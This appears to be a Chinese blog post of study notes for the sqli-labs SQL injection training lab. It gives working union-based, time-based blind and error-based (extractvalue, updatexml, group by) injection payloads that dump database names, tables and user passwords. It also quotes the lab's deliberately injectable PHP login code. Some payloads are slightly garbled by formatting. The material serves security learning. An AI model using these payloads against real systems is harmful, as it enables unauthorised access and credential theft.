sqli-labs

less-03

知道需要闭合什么符号,比如这关闭合是**’)**

爆出有哪些位置可以进行输出数据 1') order by 3--+

查看数据库名字 1') union select 1,2,database()--+

爆破表名: -1') union select 1,2,group_concat(table_name) FROM information_schema.tables where table_schema=database()--+

爆破列名: 1') union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='users'--+

爆破数据: 1') union select 1,2,group_concat(id,username,password) FROM users--+

less -04

遇上题不同的是这次闭合是**”)**

less-9(时间盲注)

无回显,采用时间盲注判断对错
注意:
采用时间盲注时配合if语句可以知道前边的闭合符号是什么,就这题来说采用if(1=2,1,sleep(2))--+
意思就是前边1=2如果正确,便会执行1,否则执行sleep(2)。sleep(2)意思就是延缓两秒,这样通过时间就可以判断出我们前边必和符号使用的对错情况。
本题加载http://localhost:1000/sqli-labs/Less-9/?id=-1' or if(1=2,1,sleep(2))--+可以发现延缓两秒才输出结果,说明此语句正确,也就是闭合符号使用正确。我们要多试几次,并不是一次就能判断出的。
判断数据库名
欧克,下面更麻烦,由于主页面不会报错,并且只输出
You are in………..那么就一个一个爆破,找到数据库有多少字符也就是?id=1’ and if(length(database())>8,sleep(2),0) –+如果大于8,就延缓2秒正常运行,否则正常运行。经过测试发现数据库名长度为8.
长度知道了再爆破具体名字
?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(2),1)–+

此为判断第一个字母的ascii码是否为115,最终找到security
判断表名

?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit x,y),z,d))=e,sleep(1),0)–+

其中x代表第x+1个表,y表示第x+1往后y个单位的表,z表示第几个字母,d表示z往后d个单位的字母

判断列名

?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(2),1)–+

x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位

最后爆数据。

less 10

闭合符号为**”**

less11

输入-1' or 1=1#正常返回,查列。
admin' order by 2#回显admin' order by 3#报错
1
欧克,接下来正常操作。

less 17

分析源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);//截取账户前15的字符
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
/*get_magic_quotes_gpc()
判断该函数是否被打开,若该函数被打开,会转义  单引号(')双引号(")反斜杠(\)空字符(\0)
换行符(\n)
回车符(\r)
水平制表符(\t)
垂直制表符(\x0B)
*/
			{
			$value = stripslashes($value);//删除反斜杠
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";//mysql_real_escape_string:转义字符
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);//查询语句
$row = mysql_fetch_array($result);//mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。
//echo $row;
	if($row)
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";
	
	
	
		if (mysql_error())
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			print_r(mysql_error());//******************************
			echo "</br></br>";
			echo "</font>";
		}
		else
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			//echo " You password has been successfully updated " ;		
			echo "<br>";
			echo "</font>";
		}
	
		echo '<img src="../images/flag1.jpg"   />';	
		//echo 'Your Password:' .$row['password'];
  		echo "</font>";
	


  	}
	else  
	{
		echo '<font size="4.5" color="#FFFF00">';
		//echo "Bug off you Silly Dumb hacker";
		echo "</br>";
		echo '<img src="../images/slap1.jpg"   />';
	
		echo "</font>";  
	}
}

?>

学到三种报错注入:

extractvalue报错注入

extractvalue(XML_document,XPath_string)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法。

作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错,下面的语法就是错误的。concat和group_concat作用一样0x5c\\的16进制.

1’ and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本
1’ and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库
1’ and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名
1’ and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),0x5c)))#
爆字段名
1’ and (extractvalue(1,concat(0x5c,(select password from (select password from users where username=’admin1’) b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。
1’ and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 爆字段内容。

在最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。

updatexml报错注入

UPDATEXML (XML_document, XPath_string, new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值

123’ and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本
123’ and (updatexml(1,concat(0x5c,database(),0x5c),1))# 爆数据库

123’ and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# 爆表名
123’ and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name =’users’),0x5c),1))#
爆字段名

123’ and (updatexml(1,concat(0x5c,(select password from (select password from users where username=’admin1’) b),0x5c),1))#
爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123’ and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name =’emails’),0x5c),1))#

1’ and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))# 爆字段内容。

group by报错注入

123’ and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)2)))# 爆数据库
123’ and (select count(
) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))# 爆数据库版本

1’ and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)2)))# 通过修改limit后面数字一个一个爆表
1’ and (select count(
) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))# 爆出所有表

1’ and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),0x7e,floor(rand(0)2)))# 爆出所有字段名
1’ and (select count(
) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))# 爆出所有字段名

1’ and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username=’admin1’),0x7e,floor(rand(0)*2)))a)# 爆出该账户的密码。

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信